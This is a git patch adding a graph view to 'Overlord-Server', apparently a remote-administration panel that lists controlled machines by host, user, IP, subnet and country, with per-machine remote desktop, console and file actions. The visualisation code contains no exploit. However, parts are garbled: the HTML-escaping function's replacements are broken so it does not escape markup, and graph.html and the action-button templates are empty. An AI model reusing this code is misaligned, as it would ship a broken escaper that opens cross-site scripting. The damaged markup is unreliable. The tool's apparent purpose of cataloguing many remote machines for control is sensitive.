From 8240dd61f17a9d67e7f26ec8e980fed3bb3fda3c Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 4 Jun 2026 16:07:42 -0500 Subject: [PATCH] add graph view for people --- Overlord-Server/bun.lock | 3 + Overlord-Server/package.json | 1 + Overlord-Server/public/assets/client-graph.js | 341 ++++++++++++++++++ Overlord-Server/public/assets/main.css | 305 ++++++++++++++++ Overlord-Server/public/assets/nav.js | 1 + Overlord-Server/public/assets/nav/template.js | 1 + Overlord-Server/public/graph.html | 68 ++++ Overlord-Server/scripts/vendor.ts | 8 + .../src/server/client-graph.test.ts | 55 +++ Overlord-Server/src/server/client-graph.ts | 213 +++++++++++ .../src/server/routes/misc-routes.ts | 45 ++- .../src/server/routes/page-routes.ts | 1 + 12 files changed, 1041 insertions(+), 1 deletion(-) create mode 100644 Overlord-Server/public/assets/client-graph.js create mode 100644 Overlord-Server/public/graph.html create mode 100644 Overlord-Server/src/server/client-graph.test.ts create mode 100644 Overlord-Server/src/server/client-graph.ts diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 7fae326..218ad01 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -9,6 +9,7 @@ "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "ansi-to-html": "0.7.2", + "cytoscape": "^3.34.0", "fuse.js": "^7.4.1", "geoip-lite": "latest", "gridstack": "^12.6.0", @@ -264,6 +265,8 @@ "commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="], + "cytoscape": ["cytoscape@3.34.0", "", {}, "sha512-62rNSrioXw93uliKFBwjukeQyeWwH2PqDrTac31r2P6464u3AUvTk0xS4LVvT251g7IgkFunrI48ZEZGjywSOg=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], "decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="], diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 6f85831..494d30a 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -20,6 +20,7 @@ "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "ansi-to-html": "0.7.2", + "cytoscape": "^3.34.0", "fuse.js": "^7.4.1", "geoip-lite": "latest", "gridstack": "^12.6.0", diff --git a/Overlord-Server/public/assets/client-graph.js b/Overlord-Server/public/assets/client-graph.js new file mode 100644 index 0000000..a00538a --- /dev/null +++ b/Overlord-Server/public/assets/client-graph.js @@ -0,0 +1,341 @@ +const container = document.getElementById("client-graph"); +const searchInput = document.getElementById("graph-search"); +const statusSelect = document.getElementById("graph-status"); +const layoutSelect = document.getElementById("graph-layout"); +const refreshBtn = document.getElementById("graph-refresh"); +const fitBtn = document.getElementById("graph-fit"); +const summaryEl = document.getElementById("graph-summary"); +const detailTitle = document.getElementById("graph-detail-title"); +const detailMeta = document.getElementById("graph-detail-meta"); +const detailActions = document.getElementById("graph-detail-actions"); + +let cy = null; +let currentGraph = null; +let searchTimer = null; +const LARGE_GRAPH_ANIMATION_CLIENTS = 30000; + +const typeColors = { + client: "#38bdf8", + group: "#a78bfa", + build: "#f59e0b", + os: "#22c55e", + country: "#f472b6", + subnet: "#60a5fa", + user: "#f97316", + status: "#64748b", +}; + +function flagEmoji(country) { + const cc = String(country || "").trim().toUpperCase(); + if (!/^[A-Z]{2}$/.test(cc) || cc === "ZZ") return ""; + const base = 0x1f1e6; + return String.fromCodePoint( + base + cc.charCodeAt(0) - 65, + base + cc.charCodeAt(1) - 65, + ); +} + +function osSymbol(osRaw) { + const os = String(osRaw || "").toLowerCase(); + if (os.includes("win")) return "⊞"; + if (os.includes("mac") || os.includes("darwin")) return "⌘"; + if (os.includes("android")) return "▣"; + if (os.includes("ubuntu")) return "◌"; + if (os.includes("debian")) return "◆"; + if (os.includes("fedora")) return "●"; + if (os.includes("freebsd")) return "◇"; + if (os.includes("linux")) return "⬢"; + return "◯"; +} + +function nodeDisplayLabel(data) { + const label = String(data.label || data.id || ""); + if (data.type === "country") { + const flag = flagEmoji(label); + return flag ? `${flag} ${label} ${flag}` : label; + } + if (data.type === "os") return `${osSymbol(label)}\n${label}`; + if (data.type === "status") return `${data.online ? "●" : "○"}\n${label}`; + if (data.type === "group") return `◫\n${label}`; + if (data.type === "build") return `⬡\n${label}`; + if (data.type === "subnet") return `⌁\n${label}`; + if (data.type === "user") return `@\n${label}`; + return label; +} + +function escapeHtml(value) { + return String(value ?? "") + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """); +} + +function setSummary(summary) { + if (!summaryEl) return; + const total = summary.totalClients && summary.totalClients !== summary.clients + ? ` of ${summary.totalClients}` + : ""; + summaryEl.textContent = `${summary.clients}${total} clients, ${summary.online} online, ${summary.relationships} relationships`; +} + +function graphElements(graph) { + return [ + ...graph.nodes.map((node) => ({ + group: "nodes", + data: { + ...node.data, + color: node.data.color || typeColors[node.data.type] || "#94a3b8", + displayLabel: nodeDisplayLabel(node.data), + }, + })), + ...graph.edges.map((edge) => ({ group: "edges", data: edge.data })), + ]; +} + +function shouldAnimateLayout(graph = currentGraph) { + const total = Number(graph?.summary?.totalClients || graph?.summary?.clients || 0); + return total < LARGE_GRAPH_ANIMATION_CLIENTS; +} + +function layoutOptions(name, graph = currentGraph) { + const animate = shouldAnimateLayout(graph); + if (name === "grid") { + return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 }; + } + if (name === "circle") { + return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 }; + } + if (name === "breadthfirst") { + return { name, directed: false, animate, animationDuration: animate ? 260 : 0, padding: 36, spacingFactor: 1.15 }; + } + return { + name: "cose", + animate, + animationDuration: animate ? 360 : 0, + padding: 40, + idealEdgeLength: 110, + nodeRepulsion: 5200, + gravity: 0.28, + numIter: 900, + }; +} + +function showSelection(node) { + if (!detailTitle || !detailMeta || !detailActions) return; + if (!node) { + detailTitle.textContent = "Nothing selected"; + detailMeta.innerHTML = ""; + detailActions.innerHTML = ""; + return; + } + + const data = node.data(); + const meta = data.meta || {}; + const countryFlag = flagEmoji(meta.country || (data.type === "country" ? data.label : "")); + detailTitle.textContent = data.type === "country" && countryFlag + ? `${countryFlag} ${data.label || data.id} ${countryFlag}` + : data.label || data.id; + const rows = [ + ["Type", data.type], + ["Count", data.type === "client" ? "" : data.count || 1], + ["Online", data.type === "client" ? (data.online ? "Yes" : "No") : data.onlineCount || 0], + ["Client ID", data.clientId || meta.id || ""], + ["Host", meta.host || ""], + ["User", meta.user || ""], + ["OS", meta.os || ""], + ["IP", meta.ip || ""], + ["Country", meta.country ? `${countryFlag ? `${countryFlag} ` : ""}${meta.country}${countryFlag ? ` ${countryFlag}` : ""}` : ""], + ["Group", meta.groupName || ""], + ["Build", meta.buildTag || ""], + ].filter(([, value]) => value !== "" && value !== undefined && value !== null); + + detailMeta.innerHTML = rows.map(([label, value]) => ` +
+ ${escapeHtml(label)} + ${escapeHtml(value)} +
+ `).join(""); + + if (data.clientId) { + const id = encodeURIComponent(data.clientId); + const online = data.online === true; + const disabled = online ? "" : " disabled aria-disabled=\"true\" title=\"Client is offline\""; + const disabledNote = online + ? "" + : `
Client is offline
`; + detailActions.innerHTML = ` + ${disabledNote} + + + + + `; + } else { + detailActions.innerHTML = ""; + } +} + +function bindInspectorActions() { + detailActions?.addEventListener("click", async (event) => { + const button = event.target.closest("button"); + if (!button) return; + if (button.disabled || button.getAttribute("aria-disabled") === "true") return; + const href = button.dataset.graphAction; + if (href) { + window.open(href, "_blank", "noopener"); + return; + } + const copyValue = button.dataset.graphCopy; + if (copyValue) { + await navigator.clipboard?.writeText(copyValue); + } + }); +} + +function selectNode(node) { + if (!cy) return; + cy.elements().removeClass("graph-dim graph-focus"); + if (!node) { + showSelection(null); + return; + } + const neighborhood = node.closedNeighborhood(); + cy.elements().difference(neighborhood).addClass("graph-dim"); + neighborhood.addClass("graph-focus"); + showSelection(node); +} + +function renderGraph(graph) { + currentGraph = graph; + setSummary(graph.summary); + + if (!window.cytoscape) { + if (summaryEl) summaryEl.textContent = "Cytoscape failed to load"; + return; + } + + if (!cy) { + cy = window.cytoscape({ + container, + elements: graphElements(graph), + minZoom: 0.18, + maxZoom: 5, + wheelSensitivity: 1.8, + style: [ + { + selector: "node", + style: { + label: "data(displayLabel)", + "background-color": "data(color)", + "border-color": "#020617", + "border-width": 2, + color: "#dbeafe", + "font-family": "Inter, Segoe UI, sans-serif", + "font-size": 11, + "font-weight": 600, + "text-outline-color": "#020617", + "text-outline-width": 3, + "text-valign": "center", + "text-halign": "center", + "line-height": 1.15, + "text-wrap": "wrap", + "text-max-width": 88, + width: "mapData(weight, 1, 12, 28, 74)", + height: "mapData(weight, 1, 12, 28, 74)", + }, + }, + { + selector: 'node[type = "client"]', + style: { + shape: "round-rectangle", + "border-color": "data(color)", + "border-width": 3, + }, + }, + { + selector: 'node[online = true]', + style: { + "border-color": "#22c55e", + }, + }, + { + selector: "edge", + style: { + width: 1.35, + "line-color": "rgba(148, 163, 184, 0.42)", + "target-arrow-shape": "none", + "curve-style": "bezier", + }, + }, + { + selector: ".graph-dim", + style: { + opacity: 0.12, + }, + }, + { + selector: ".graph-focus", + style: { + opacity: 1, + }, + }, + ], + }); + + cy.on("tap", "node", (event) => selectNode(event.target)); + cy.on("tap", (event) => { + if (event.target === cy) selectNode(null); + }); + } else { + cy.elements().remove(); + cy.add(graphElements(graph)); + } + + cy.layout(layoutOptions(layoutSelect?.value || "cose", graph)).run(); + setTimeout(() => cy?.fit(undefined, 32), 420); +} + +async function loadGraph() { + if (!container) return; + if (summaryEl) summaryEl.textContent = "Loading..."; + const params = new URLSearchParams({ + limit: "350", + q: searchInput?.value || "", + status: statusSelect?.value || "all", + }); + const res = await fetch(`/api/client-graph?${params}`, { credentials: "include" }); + if (!res.ok) { + if (summaryEl) summaryEl.textContent = `Graph unavailable (${res.status})`; + return; + } + renderGraph(await res.json()); +} + +function debounceLoad() { + clearTimeout(searchTimer); + searchTimer = setTimeout(loadGraph, 220); +} + +layoutSelect?.addEventListener("change", () => { + if (cy) cy.layout(layoutOptions(layoutSelect.value, currentGraph)).run(); +}); +searchInput?.addEventListener("input", debounceLoad); +statusSelect?.addEventListener("change", loadGraph); +refreshBtn?.addEventListener("click", loadGraph); +fitBtn?.addEventListener("click", () => cy?.fit(undefined, 32)); +window.addEventListener("resize", () => { + cy?.resize(); + cy?.fit(undefined, 32); +}); + +bindInspectorActions(); +loadGraph(); diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index fc433c3..3fee38c 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -1135,6 +1135,311 @@ article.card[data-bookmarked="true"] { justify-content: center; } +.graph-shell { + min-height: calc(100vh - 64px); + display: grid; + grid-template-rows: auto 1fr; + gap: 14px; + padding: 18px 20px 20px; +} + +.graph-toolbar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + min-width: 0; + border: 1px solid rgba(30, 41, 59, 0.86); + background: rgba(2, 6, 23, 0.78); + border-radius: 8px; + padding: 12px; +} + +.graph-title { + display: flex; + align-items: center; + gap: 12px; + min-width: 0; +} + +.graph-title > i { + width: 36px; + height: 36px; + display: grid; + place-items: center; + border-radius: 8px; + background: rgba(8, 145, 178, 0.12); + color: #67e8f9; + border: 1px solid rgba(103, 232, 249, 0.18); +} + +.graph-title h1 { + margin: 0; + font-size: 1rem; + font-weight: 700; + color: #e2e8f0; +} + +.graph-title p { + margin: 2px 0 0; + color: #94a3b8; + font-size: 0.78rem; +} + +.graph-controls { + display: flex; + align-items: center; + justify-content: flex-end; + flex-wrap: wrap; + gap: 8px; +} + +.graph-field { + height: 38px; + min-width: min(280px, 44vw); + display: flex; + align-items: center; + gap: 8px; + border: 1px solid rgba(51, 65, 85, 0.95); + border-radius: 8px; + background: rgba(15, 23, 42, 0.92); + color: #94a3b8; + padding: 0 10px; +} + +.graph-field:focus-within { + border-color: rgba(56, 189, 248, 0.65); + box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.12); +} + +.graph-field input { + width: 100%; + min-width: 0; + border: 0; + outline: 0; + background: transparent; + color: #e2e8f0; + font-size: 0.86rem; +} + +.graph-select { + height: 38px; + border: 1px solid rgba(51, 65, 85, 0.95); + border-radius: 8px; + background: #0f172a; + color: #dbeafe; + padding: 0 10px; + font-size: 0.84rem; +} + +.graph-workspace { + min-height: 0; + display: grid; + grid-template-columns: minmax(0, 1fr) 320px; + gap: 14px; +} + +.graph-canvas { + min-height: 560px; + height: calc(100vh - 170px); + border: 1px solid rgba(30, 41, 59, 0.9); + border-radius: 8px; + background: + linear-gradient(rgba(15, 23, 42, 0.86), rgba(2, 6, 23, 0.94)), + linear-gradient(90deg, rgba(148, 163, 184, 0.06) 1px, transparent 1px), + linear-gradient(rgba(148, 163, 184, 0.06) 1px, transparent 1px); + background-size: auto, 34px 34px, 34px 34px; + overflow: hidden; +} + +.graph-inspector { + min-height: 0; + height: calc(100vh - 170px); + overflow: auto; + border: 1px solid rgba(148, 163, 184, 0.14); + border-radius: 8px; + background: #141c2b; + box-shadow: + 0 14px 38px rgba(0, 0, 0, 0.26), + inset 0 1px 0 rgba(255, 255, 255, 0.03); + padding: 8px; + scrollbar-color: rgba(100, 116, 139, 0.7) transparent; +} + +.graph-inspector-kicker { + color: #94a3b8; + font-size: 0.68rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.1em; + padding: 8px 8px 0; +} + +.graph-inspector h2 { + margin: 4px 8px 10px; + color: #f8fafc; + font-size: 1.05rem; + line-height: 1.25; + overflow-wrap: anywhere; +} + +.graph-detail-meta { + display: grid; + gap: 1px; + padding: 4px; + border-top: 1px solid rgba(148, 163, 184, 0.13); + border-bottom: 1px solid rgba(148, 163, 184, 0.13); +} + +.graph-meta-row { + display: grid; + grid-template-columns: 82px minmax(0, 1fr); + align-items: center; + gap: 10px; + min-height: 32px; + border-radius: 5px; + padding: 6px 8px; + background: transparent; +} + +.graph-meta-row span { + color: #7c8aa0; + font-size: 0.68rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.06em; +} + +.graph-meta-row strong { + color: #cbd5e1; + font-size: 0.8rem; + font-weight: 600; + overflow-wrap: anywhere; +} + +.graph-meta-row:hover { + background: rgba(71, 85, 105, 0.32); +} + +.graph-detail-actions { + display: grid; + gap: 1px; + margin-top: 8px; + padding: 4px; +} + +.graph-action-note { + width: 100%; + display: flex; + align-items: center; + gap: 8px; + color: #fca5a5; + background: rgba(127, 29, 29, 0.18); + border: 1px solid rgba(248, 113, 113, 0.14); + border-radius: 5px; + padding: 7px 10px; + font-size: 0.78rem; + font-weight: 600; + margin-bottom: 4px; +} + +.graph-action { + min-height: 34px; + width: 100%; + display: flex; + align-items: center; + justify-content: flex-start; + gap: 9px; + border-radius: 5px; + border: none; + background: transparent; + color: #cbd5e1; + padding: 7px 10px; + font-size: 0.82rem; + font-weight: 600; + text-align: left; + transition: background 0.1s ease, color 0.1s ease; +} + +.graph-action:hover:not(:disabled) { + background: rgba(71, 85, 105, 0.55); + color: #f1f5f9; +} + +.graph-action:disabled { + cursor: not-allowed; + opacity: 0.38; + filter: grayscale(0.55); +} + +.graph-action--remote { + color: #cbd5e1; +} + +.graph-action--remote i { + color: #c084fc; + width: 16px; + text-align: center; +} + +.graph-action--console { + color: #cbd5e1; +} + +.graph-action--console i { + color: #34d399; + width: 16px; + text-align: center; +} + +.graph-action--files { + color: #cbd5e1; +} + +.graph-action--files i { + color: #60a5fa; + width: 16px; + text-align: center; +} + +.graph-action--copy { + color: #cbd5e1; +} + +.graph-action--copy i { + color: #94a3b8; + width: 16px; + text-align: center; +} + +@media (max-width: 980px) { + .graph-toolbar { + align-items: stretch; + flex-direction: column; + } + + .graph-controls { + justify-content: flex-start; + } + + .graph-field { + min-width: min(100%, 360px); + } + + .graph-workspace { + grid-template-columns: 1fr; + } + + .graph-canvas, + .graph-inspector { + height: auto; + } + + .graph-canvas { + min-height: 520px; + } +} + @keyframes radioactiveShake { 0%, 100% { diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index d6e704e..f953bc6 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -36,6 +36,7 @@ if (host) { const activeMap = { "/": "nav-clients", "/metrics": "metrics-link", + "/graph": "graph-link", "/screenshots": "screenshots-link", "/logs": "logs-link", "/scripts": "scripts-link", diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index f346ab7..77aa4d9 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -63,6 +63,7 @@ export const NAV_GROUPS = [ iconColor: "text-emerald-400", children: [ { href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" }, + { href: "/graph", label: "Graph", icon: "fa-diagram-project", iconColor: "text-cyan-400", linkId: "graph-link" }, { href: "/screenshots", label: "Screenshot Wall", icon: "fa-images", iconColor: "text-sky-400", linkId: "screenshots-link", hidden: true }, ], }, diff --git a/Overlord-Server/public/graph.html b/Overlord-Server/public/graph.html new file mode 100644 index 0000000..56a180f --- /dev/null +++ b/Overlord-Server/public/graph.html @@ -0,0 +1,68 @@ + + + + + + + + Overlord Graph + + + + + + + + + + + + +
+
+
+
+ +
+

Client Graph

+

Loading...

+
+
+
+ + + + + +
+
+ +
+
+ +
+
+ + + diff --git a/Overlord-Server/scripts/vendor.ts b/Overlord-Server/scripts/vendor.ts index 1086f05..90c6722 100644 --- a/Overlord-Server/scripts/vendor.ts +++ b/Overlord-Server/scripts/vendor.ts @@ -199,6 +199,14 @@ copyFile( path.join(VENDOR, "gridstack", "gridstack.min.css"), ); +/* ── Cytoscape.js ────────────────────────────────────────────────── */ + +console.log("Copying Cytoscape.js ..."); +copyFile( + path.join(NM, "cytoscape", "dist", "cytoscape.min.js"), + path.join(VENDOR, "cytoscape", "cytoscape.min.js"), +); + /* ── highlight.js (bundle core + languages) ──────────────────────── */ console.log("Bundling highlight.js ..."); diff --git a/Overlord-Server/src/server/client-graph.test.ts b/Overlord-Server/src/server/client-graph.test.ts new file mode 100644 index 0000000..d754a04 --- /dev/null +++ b/Overlord-Server/src/server/client-graph.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, test } from "bun:test"; +import { buildClientGraph, clientIpSubnet } from "./client-graph"; + +describe("client graph", () => { + test("builds client relationship nodes and edges", () => { + const graph = buildClientGraph([ + { + id: "client-a", + host: "alpha", + user: "alice", + os: "windows", + ip: "10.20.30.40", + country: "US", + online: true, + lastSeen: Date.now(), + groupId: 7, + groupName: "Ops", + groupColor: "#38bdf8", + buildTag: "prod-build", + } as any, + { + id: "client-b", + host: "beta", + user: "alice", + os: "windows", + ip: "10.20.30.55", + country: "US", + online: false, + lastSeen: Date.now(), + groupId: 7, + groupName: "Ops", + groupColor: "#38bdf8", + buildTag: "prod-build", + } as any, + ]); + + const nodeIds = new Set(graph.nodes.map((node) => node.data.id)); + expect(nodeIds.has("client:client-a")).toBe(true); + expect(nodeIds.has("client:client-b")).toBe(true); + expect(nodeIds.has("group:7")).toBe(true); + expect(nodeIds.has("build:prod-build")).toBe(true); + expect(nodeIds.has("os:windows")).toBe(true); + expect(nodeIds.has("subnet:10.20.30.0/24")).toBe(true); + expect(nodeIds.has("user:alice")).toBe(true); + expect(graph.summary.clients).toBe(2); + expect(graph.summary.online).toBe(1); + expect(graph.edges.some((edge) => edge.data.source === "client:client-a" && edge.data.target === "group:7")).toBe(true); + }); + + test("normalizes IPv4 and IPv6 subnets", () => { + expect(clientIpSubnet("192.168.4.33")).toBe("192.168.4.0/24"); + expect(clientIpSubnet("2001:db8:abcd:12::45")).toBe("2001:db8:abcd:12::/64"); + expect(clientIpSubnet("not-an-ip")).toBeNull(); + }); +}); diff --git a/Overlord-Server/src/server/client-graph.ts b/Overlord-Server/src/server/client-graph.ts new file mode 100644 index 0000000..428ab44 --- /dev/null +++ b/Overlord-Server/src/server/client-graph.ts @@ -0,0 +1,213 @@ +import type { ListItem } from "../types"; + +export type GraphNodeKind = + | "client" + | "group" + | "build" + | "os" + | "country" + | "subnet" + | "user" + | "status"; + +export type ClientGraphNode = { + data: { + id: string; + label: string; + type: GraphNodeKind; + weight: number; + count?: number; + onlineCount?: number; + clientId?: string; + online?: boolean; + href?: string; + color?: string | null; + meta?: Record; + }; +}; + +export type ClientGraphEdge = { + data: { + id: string; + source: string; + target: string; + label: string; + type: string; + }; +}; + +export type ClientGraph = { + nodes: ClientGraphNode[]; + edges: ClientGraphEdge[]; + summary: { + clients: number; + totalClients?: number; + online: number; + categories: number; + relationships: number; + generatedAt: number; + }; +}; + +function compactLabel(value: unknown, fallback = "Unknown"): string { + const text = String(value ?? "").trim(); + if (!text) return fallback; + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function safeKey(value: string): string { + return value.trim().toLowerCase().replace(/[^a-z0-9_.:/-]+/g, "-").slice(0, 96) || "unknown"; +} + +function ipv4Subnet(ip: string): string | null { + const parts = ip.trim().split("."); + if (parts.length !== 4) return null; + const octets = parts.map((part) => Number(part)); + if (octets.some((octet) => !Number.isInteger(octet) || octet < 0 || octet > 255)) return null; + return `${octets[0]}.${octets[1]}.${octets[2]}.0/24`; +} + +function ipv6Subnet(ip: string): string | null { + if (!ip.includes(":")) return null; + const parts = ip.split(":").filter(Boolean); + if (parts.length < 2) return null; + return `${parts.slice(0, 4).join(":")}::/64`; +} + +export function clientIpSubnet(ip: unknown): string | null { + const value = String(ip ?? "").trim(); + if (!value) return null; + return ipv4Subnet(value) || ipv6Subnet(value); +} + +export function buildClientGraph(clients: ListItem[]): ClientGraph { + const nodes = new Map(); + const edges = new Map(); + + const addNode = ( + id: string, + label: string, + type: GraphNodeKind, + data: Partial = {}, + ) => { + const existing = nodes.get(id); + if (existing) { + existing.data.count = (existing.data.count || 0) + 1; + if (data.online) existing.data.onlineCount = (existing.data.onlineCount || 0) + 1; + existing.data.weight = Math.max(existing.data.weight, data.weight || 1); + return existing; + } + const node: ClientGraphNode = { + data: { + id, + label, + type, + weight: data.weight || 1, + count: data.count, + onlineCount: data.online ? 1 : data.onlineCount, + ...data, + }, + }; + nodes.set(id, node); + return node; + }; + + const addEdge = (source: string, target: string, label: string, type: string) => { + const id = `${source}->${target}:${type}`; + if (edges.has(id)) return; + edges.set(id, { data: { id, source, target, label, type } }); + }; + + for (const client of clients) { + const clientNodeId = `client:${client.id}`; + const clientLabel = compactLabel(client.nickname || client.host || client.id); + addNode(clientNodeId, clientLabel, "client", { + weight: client.online ? 5 : 3, + clientId: client.id, + online: client.online, + href: `/?q=${encodeURIComponent(client.id)}`, + meta: { + id: client.id, + host: client.host || "", + user: client.user || "", + os: client.os || "", + ip: client.ip || "", + country: client.country || "", + groupName: client.groupName || "", + buildTag: client.buildTag || "", + lastSeen: client.lastSeen, + }, + }); + + const statusNode = client.online + ? { id: "status:online", label: "Online", color: "#22c55e" } + : { id: "status:offline", label: "Offline", color: "#64748b" }; + addNode(statusNode.id, statusNode.label, "status", { + weight: 4, + online: client.online, + color: statusNode.color, + }); + addEdge(clientNodeId, statusNode.id, client.online ? "online" : "offline", "status"); + + if (client.groupName || client.groupId) { + const groupId = `group:${client.groupId || safeKey(client.groupName || "ungrouped")}`; + addNode(groupId, compactLabel(client.groupName || "Group"), "group", { + weight: 4, + online: client.online, + color: client.groupColor || null, + }); + addEdge(clientNodeId, groupId, "group", "group"); + } + + if (client.buildTag) { + const id = `build:${safeKey(client.buildTag)}`; + addNode(id, compactLabel(client.buildTag), "build", { weight: 3, online: client.online }); + addEdge(clientNodeId, id, "build", "build"); + } + + if (client.os) { + const id = `os:${safeKey(client.os)}`; + addNode(id, compactLabel(client.os), "os", { weight: 3, online: client.online }); + addEdge(clientNodeId, id, "os", "os"); + } + + if (client.country) { + const label = String(client.country).toUpperCase(); + const id = `country:${safeKey(label)}`; + addNode(id, label, "country", { weight: 3, online: client.online }); + addEdge(clientNodeId, id, "country", "country"); + } + + const subnet = clientIpSubnet(client.ip); + if (subnet) { + const id = `subnet:${safeKey(subnet)}`; + addNode(id, subnet, "subnet", { weight: 3, online: client.online }); + addEdge(clientNodeId, id, "subnet", "subnet"); + } + + if (client.user) { + const id = `user:${safeKey(client.user)}`; + addNode(id, compactLabel(client.user), "user", { weight: 2, online: client.online }); + addEdge(clientNodeId, id, "user", "user"); + } + } + + const sortedNodes = Array.from(nodes.values()).map((node) => { + if (node.data.type !== "client") { + node.data.weight = Math.max(node.data.weight, Math.min(12, 2 + (node.data.count || 1))); + } + return node; + }); + + return { + nodes: sortedNodes, + edges: Array.from(edges.values()), + summary: { + clients: clients.length, + online: clients.filter((client) => client.online).length, + categories: sortedNodes.filter((node) => node.data.type !== "client").length, + relationships: edges.size, + generatedAt: Date.now(), + }, + }; +} diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 11e7ae0..48c186a 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -2,12 +2,13 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, getAuditLogs, logAudit } from "../../auditLog"; import { logger } from "../../logger"; import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config"; -import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes } from "../../db"; +import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db"; import { getThumbnailStats } from "../../thumbnails"; import { getClientCount, getOnlineClients } from "../../clientManager"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users"; +import { buildClientGraph } from "../client-graph"; import { runCertbotSetup } from "../certbot-setup"; import { getActiveProxies, @@ -336,6 +337,48 @@ export async function handleMiscRoutes( }); } + if (req.method === "GET" && url.pathname === "/api/client-graph") { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + + const limit = Math.max(25, Math.min(500, Number(url.searchParams.get("limit") || 300))); + const search = (url.searchParams.get("q") || "").trim().toLowerCase(); + const statusFilter = url.searchParams.get("status") || "all"; + const groupFilter = url.searchParams.get("group") || "all"; + let allowedClientIds: string[] | undefined; + let deniedClientIds: string[] | undefined; + + if (user.role !== "admin") { + const scope = getUserClientAccessScope(user.userId); + if (scope === "none") { + return Response.json(buildClientGraph([]), { headers: deps.CORS_HEADERS }); + } + if (scope === "allowlist") { + allowedClientIds = listUserClientRuleIdsByAccess(user.userId, "allow"); + } else if (scope === "denylist") { + deniedClientIds = listUserClientRuleIdsByAccess(user.userId, "deny"); + } + } + + const clients = listClients({ + page: 1, + pageSize: limit, + search, + sort: "last_seen_desc", + statusFilter, + osFilter: "all", + countryFilter: "all", + enrollmentFilter: "approved", + groupFilter, + allowedClientIds, + deniedClientIds, + }); + + const graph = buildClientGraph(clients.items); + graph.summary.totalClients = clients.total; + return Response.json(graph, { headers: deps.CORS_HEADERS }); + } + if (url.pathname === "/health") { return new Response("ok", { headers: deps.CORS_HEADERS }); } diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index 2444bbc..05d135b 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -82,6 +82,7 @@ type QueryClientPageDef = { /** Static pages: each entry maps a URL path to its HTML file + access rules. */ const STATIC_PAGES: StaticPageDef[] = [ { path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true }, + { path: "/graph", file: "graph.html", access: "any", checkPasswordChange: true }, { path: "/screenshots", file: "screenshots.html", access: "no-viewer", checkPasswordChange: true }, { path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true }, { path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },